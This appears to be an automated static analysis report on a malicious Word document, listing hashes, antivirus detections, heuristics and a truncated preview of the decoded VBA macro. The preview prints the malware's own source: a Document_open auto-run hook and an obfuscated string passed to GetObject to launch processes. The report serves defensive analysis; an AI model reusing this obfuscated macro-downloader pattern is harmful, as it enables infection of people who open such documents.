Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 130b62adf5a94840…

MALICIOUS

Office (OOXML)

132.6 KB Created: 2020-01-29 06:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-25
MD5: 45517515f5205e592e9222c9eef665cd SHA-1: 2d8a09677fdd67d720c267837e22eea4a48a87a8 SHA-256: 130b62adf5a94840c26634186acf4a9e24225e45330cc266e05d6d9d352d4f7c
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The presence of a Document_Open VBA macro, coupled with critical ClamAV detections (Doc.Downloader.Mrwx-7567136-0), strongly indicates a malicious downloader. The macro's execution of GetObject suggests it is designed to fetch and run additional malicious content. While the VBA code itself is heavily obfuscated and lacks explicit download URLs, the overall behavior points to a macro-based downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.Mrwx-7567136-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Mrwx-7567136-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 11080 bytes
SHA-256: f64587e64e299c8d38d4d0cfa07de72ed63f9c8db08395a6bcba7756bc0d404b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Muicjdkbted"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Ugtgylvkhhcjm()
Const sss = 234
End Sub
Sub Cgrohbdtt()
Const sss = 234
End Sub
Sub Tkdhivjvinhfl()
Const sss = 234
End Sub
Sub Gtaytnjhcpod()
Const sss = 234
End Sub
Sub Rmahbrkgayhzr()
Const sss = 234
End Sub
Private Sub Document_open()
Const sss = 234
Call Tsztptymrmw
End Sub
Sub Vaghpvjtufik()
Const sss = 234
End Sub
Sub Rtraxrag()
Const sss = 234
End Sub
Sub Ohzsbruwbp()
Const sss = 234
End Sub
Sub Ivuchtgcshh()
Const sss = 234
End Sub
Sub Fpztqrocvt()
Const sss = 234
End Sub
Sub Qsdlmimuclwfv()
Const sss = 234
End Sub

Attribute VB_Name = "Tycbsfnene"
Attribute VB_Base = "0{B9462631-8180-4CBE-80B3-E4988D0232E8}{DBE7447A-4A8F-4AFF-A071-7788058B9612}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Lssespxitdqvq"
Attribute VB_Base = "0{B2BAA715-539F-4775-B4DC-F287B0037A67}{6E8E16BF-3626-48C5-8CF5-0A15647D3F55}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Vowgegiypymr()
Debug.Print "dhhhhhee" + nswww + "opendb"
End Sub

Attribute VB_Name = "Kpznipiacjyei"
Attribute VB_Base = "0{9B8009E4-1EE3-495C-BC43-559E99F0CD72}{39680DE2-51F9-48B0-9B67-4FA6E0BBF71E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Wqoopmvpvosc()
Debug.Print "dhhhhhee" + nswww + "opendb"
End Sub

Attribute VB_Name = "Klterktmy"
Sub Ixqwirzafmgr()
Const sss = 234
End Sub
Sub Szrbtokkkta()
Const sss = 234
End Sub
Sub Vmaxtyfkr()
Const sss = 234
End Sub
Function Tsztptymrmw()
   jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Fbaxchhqvy)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 627
oeu4n = Neqerdcte
wkid = "pizdec"
dwewr = Pcszymodlnka
oiwnb = (Ogxbmgky)
p3nb = (987)
i1 = (Knzrnejfljl)
o0Hiehuqtddv = (Xerrniqc)
u3 = (717) + p3nb
b7 = (Lmwqhdfpmrt)
nn3 = _
 ("pizdec")
iwh3 = "pizdec"
nbsv = (533)
mbdu = Tizqigohryo
bxvs = 943
ojbd = "pizdec" + iwh3
Jmyxejpnx = "/=e^^hjbj//e===^@%%w/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%i/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%nmg/=e^^hjbj//e===^@%%mt/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%" + ChrW(Int(wdKeyS)) + "/=e^^hjbj//e===^@%%:w/=e^^hjbj//e===^@%%in/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%3/=e^^hjbj//e===^@%%2_" + Tycbsfnene.Musayjej + "ro/=e^^hjbj//e===^@%%ce/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%s/=e^^hjbj//e===^@%%s"
   jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Zdlwqlfckg)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 214
oeu4n = Tmniyljvlb
wkid = "pizdec"
dwewr = Utnmddoz
oiwnb = (Eyseourvcaxe)
p3nb = (876)
i1 = (Lwkuntayg)
o0Wytzhrqp = (Pqtxodpyw)
u3 = (837) + p3nb
b7 = (Libgsumcrgs)
nn3 = _
 ("pizdec")
iwh3 = "pizdec"
nbsv = (243)
mbdu = Rwywujgo
bxvs = 648
ojbd = "pizdec" + iwh3
Ssbnrhzbl = Uooekrnq(Jmyxejpnx)
   jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Lqgbbgfaqklti)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 204
oeu4n = Sksmkary
wkid = "pizdec"
dwewr = Brvmbxvojtog
oiwnb = (Tmanlclqyl)
p3nb = (611)
i1 = (Fokzuswiz)
o0Opnqfyhmmt = (Xadnhhlsjfvs)
u3 = (26) + p3nb
b7 = (Kzvjimdc)
nn3 = _
 ("pizdec")
iwh3 = "pizdec"
nbsv = (537)
mbdu = Ymgrrztlyvnyq
bxvs = 852
ojbd = "pizdec" + iwh3
Set Kptmpayzcixm = GetObject(Ssbnrhzbl)
   jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Sxqravipfy)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 528
oeu4n = Ayjenkgwbdsbm
wkid
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 69120 bytes
SHA-256: d64eb3882249ac91b1445f17093d72cbb4f25ecd25c588aad9fa8d0a760d7d8f
Detection
ClamAV: Doc.Downloader.Mrwx-7567136-0
Obfuscation or payload: unlikely